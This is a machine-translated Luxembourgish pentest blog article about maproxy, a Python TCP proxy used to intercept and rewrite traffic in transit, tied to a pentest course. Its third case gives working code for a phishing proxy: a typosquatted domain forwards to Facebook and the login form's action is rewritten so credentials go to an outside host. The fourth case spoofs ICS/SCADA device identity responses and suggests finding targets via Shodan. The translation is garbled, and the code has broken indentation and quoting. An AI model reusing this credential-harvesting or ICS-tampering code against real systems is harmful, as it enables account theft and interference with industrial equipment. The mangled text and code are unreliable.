Prozess Reseau Daten op der fléien

D'Iwwersetzung vum Artikel gouf um Virowend vum Start vum Cours virbereet "Pentest. Penetratiounstest Praxis".

Prozess Reseau Daten op der fléien

Abstract

Eng Vielfalt vun Aarte vu Sécherheetsbewäertungen, rangéiert vu reegelméissegen Pénétratiounstest a Red Team Operatiounen bis Hacking IoT/ICS Geräter a SCADA, involvéiert d'Aarbecht mat binäre Netzwierkprotokollen, dat heescht, am Wesentlechen d'Netzwierkdaten tëscht dem Client an dem Zil z'ënnerscheeden an z'änneren. Netzverkéier sniffen ass keng schwiereg Aufgab well mir Tools wéi Wireshark, Tcpdump oder Scapy hunn, awer d'Modifikatioun schéngt eng méi Aarbechtsintensiv Aufgab ze sinn well mir eng Aart Interface mussen hunn fir d'Netzwierkdaten ze liesen, ze filteren, z'änneren et op der Flucht a schéckt et zréck an den Zilhost a bal Echtzäit. Ausserdeem wier et ideal wann esou en Tool automatesch mat multiple Parallelverbindungen funktionnéiere kann a mat Scripte personaliséierbar ass.

Enges Daags hunn ech en Tool entdeckt genannt maproxy, d'Dokumentatioun huet mir dat séier kloer gemaach maproxy - just wat ech brauch. Dëst ass e relativ einfachen, villsäiteger an einfach konfiguréierbare TCP Proxy. Ech hunn dëst Tool op e puer zimlech komplex Uwendungen getest, dorënner ICS-Geräter (déi vill Pakete generéieren) fir ze kucken ob et vill parallele Verbindungen handhaben kann, an d'Tool huet gutt gemaach.

Dësen Artikel wäert Iech d'Veraarbechtung vun Netzwierkdaten op der Flucht virstellen maproxy.

Iwwersiicht

Tool maproxy baséiert op Tornado, e populären a reife asynchronen Netzwierk Kader am Python.

Am Allgemengen kann et a verschiddene Modi funktionnéieren:

  • TCP:TCP - onverschlësselte TCP Verbindungen;
  • TCP:SSL и SSL:TCP - mat een-Manéier Verschlësselung;
  • SSL:SSL - Zwee-Wee Verschlësselung.

Et kënnt als Bibliothéik. Fir e schnelle Start kënnt Dir Beispilldateien benotzen déi den Haaptgrond reflektéieren Bibliothéik Funktiounen:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Fall 1 - einfach bidirektional Proxy

Baséiert op tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Par défaut ProxyServer() hëlt zwee Argumenter - d'Verbindungsplaz an den Zilhafen. server.listen() hëlt een Argument - den Hafen fir op déi erakommen Verbindung ze lauschteren.

Ausféierung vum Skript:

# python tcp2tcp.py

Fir den Test auszeféieren, wäerte mir mat engem lokalen SSH Server iwwer eise Proxy Skript verbannen, deen op lauschtert 2222/tcp port a verbënnt zu engem Standard port 22/tcp SSH Server:

Prozess Reseau Daten op der fléien

De Begréissungsbanner informéiert Iech datt eist Beispill Skript den Netzverkéier erfollegräich proxyed huet.

Fall 2 - Datemodifikatioun

Aner Demo Skript logging_proxy.py ideal fir Interaktioun mat Netzwierkdaten. D'Kommentaren an der Datei beschreiwen d'Klassmethoden déi Dir änneren kënnt fir Äert Zil z'erreechen:

Prozess Reseau Daten op der fléien

Déi interessantst Saach ass hei:

  • on_c2p_done_read - Daten laanscht de Wee vum Client op de Server z'ënnerscheeden;
  • on_p2s_done_read - ëmgedréint.

Loosst eis probéieren den SSH Banner z'änneren datt de Server op de Client zréckkënnt:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

D'Skript ausféieren:

Prozess Reseau Daten op der fléien

Wéi Dir kënnt gesinn, gouf de Client täuscht well den SSH Server Numm fir hien geännert gouf «DumnySSH».

Prozess Reseau Daten op der fléien

Fall 3 - Einfach Phishing Websäit

Et ginn endlos Weeër fir dëst Tool ze benotzen. Dës Kéier konzentréiere mer eis op eppes méi praktesch vun der Red Team Operatiounssäit. Loosst eis d'Landung Säit imitéieren m.facebook.com a benotzt e personaliséierten Domain mat engem bewosst Tippfeeler, zum Beispill, m.facebok.com. Fir Demonstratiounszwecker, loosst eis just unhuelen datt d'Domain vun eis registréiert ass.

Mir wäerten eng onverschlësselte Netzwierkverbindung mat eisen Affer Proxy an SSL Stream op de Facebook Server opbauen (31.13.81.36). Fir dëst Beispill ze maachen, musse mir den HTTP-Host-Header ersetzen an de richtege Hostnumm injizéieren, a mir wäerten och d'Äntwertkompressioun ausschalten, sou datt mir einfach op den Inhalt kommen. Schlussendlech ersetzen mir den HTML Form sou datt d'Login Umeldungsinformatiounen un eis geschéckt ginn anstatt de Facebook Server:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/lb/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Als Resultat:

Prozess Reseau Daten op der fléien

Wéi Dir gesitt, hu mir erfollegräich den urspréngleche Site ersat.

Fall 4 - Porting Ethernet / IP

Ech hu mat industriellen Apparater a Software (ICS / SCADA) fir eng laang Zäit beschäftegt, wéi programméierbar Controller (PLC), I/O Moduler, Drive, Relais, Leederprogramméierungsëmfeld a vill méi. Dëse Fall ass fir déi déi industriell Saachen gär hunn. Hacking esou Léisungen implizéiert aktiv mat Netzwierkprotokoller ze spillen. Am folgende Beispill géif ech gär weisen wéi Dir ICS / SCADA Netzverkéier änneren kann.

Fir dëst braucht Dir déi folgend:

  • Network sniffer, zum Beispill, Wireshark;
  • Ethernet / IP oder just e SIP Apparat, Dir kënnt et mam Shodan Service fannen;
  • Eis Skript baséiert op maproxy.

Als éischt kucke mer wéi eng typesch Identifikatiounsreaktioun vum CIP (Common Industrial Protocol) ausgesäit:

Prozess Reseau Daten op der fléien

Apparat Identifikatioun gëtt mat dem Ethernet / IP Protokoll erreecht, wat eng verstäerkte Versioun vum industrielle Ethernet Protokoll ass, deen Kontrollprotokoller wéi CIP wéckelt. Mir wäerten den markéierten ID Numm änneren deen am Screenshot sichtbar ass "NI-IndComm fir Ethernet" mat eisem Proxy Skript. Mir kéinten de Skript nei benotzen logging_proxy.py an ähnlech der Klass Method änneren on_p2s_done_read, well mir wëllen datt en aneren Identitéitsnumm um Client sichtbar ass.

Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Am Wesentlechen hu mir zweemol no Apparatidentifikatioun gefrot, déi zweet Äntwert war déi ursprénglech, an déi éischt gouf direkt geännert.

An déi lescht

Menger Meenung no maproxy E praktescht an einfacht Tool, dat och am Python geschriwwen ass, also gleewen ech datt Dir och dovun profitéiere kënnt. Natierlech ginn et méi komplex Tools fir d'Veraarbechtung an d'Ännerung vun Netzdaten, awer si erfuerderen och méi Opmierksamkeet a ginn normalerweis fir e spezifesche Gebrauchsfall erstallt, z. muraena, Modlishka oder evilginx fir Fäll ähnlech wéi déi drëtt, oder Sofa fir de leschte Fall. Eng Manéier oder aner, mat der Hëllef maproxy Dir kënnt Är Iddien séier ëmsetzen fir Netzwierkdaten z'ënnerscheeden, well d'Beispill Scripte ganz kloer sinn.

Testen vun Authentifikatiounsmechanismen am Windows AD

Source: will.com

Setzt e Commentaire